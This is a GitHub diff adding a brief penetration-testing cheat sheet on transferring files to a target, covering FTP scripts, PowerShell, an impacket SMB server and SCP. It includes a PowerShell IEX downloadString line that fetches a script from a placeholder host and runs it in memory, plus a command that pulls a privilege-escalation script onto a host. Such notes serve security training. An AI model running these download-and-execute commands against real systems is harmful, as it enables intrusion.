File tree Expand file tree Collapse file tree 1 file changed +39
-0
lines changed Expand file tree Collapse file tree 1 file changed +39
-0
lines changed Original file line number Diff line number Diff line change 1+ # File Transfer
2+
3+ 15 Ways to transfer a file
4+ https://blog.netspi.com/15-ways-to-download-a-file/#perl
5+
6+ ### FTP
7+ /etc/init.d/pure-ftpd restart
8+
9+ Windows
10+ echo "open <IP >">ftp.txt
11+ echo "offsec">>ftp.txt
12+ echo "offsec">>ftp.txt
13+ echo "bin">>ftp.txt
14+ echo "get file.exe">>ftp.txt
15+ echo "bye">>ftp.txt
16+
17+ ftp -s ftp.txt
18+
19+ Linux
20+ ftp -4 -d -v ftp://offsec: offsec @<IP >//linuxprichecker.py < ftp upload one liner linux
21+
22+ ### Powershell
23+ powershell.exe (New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip ", "C:\Windows\Temp\archive.zip")
24+
25+ powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://<IP >/<script >')"
26+
27+ powershell full path:
28+ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
29+ C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe
30+
31+
32+ ### Smbsever
33+ impacket-smbserver <share name > <path >
34+
35+ net view \\\\\< ip>
36+
37+ ### SCP
38+ After login through ssh
39+ scp <fileToUpload > user@remote:/path
You can’t perform that action at this time.
0 commit comments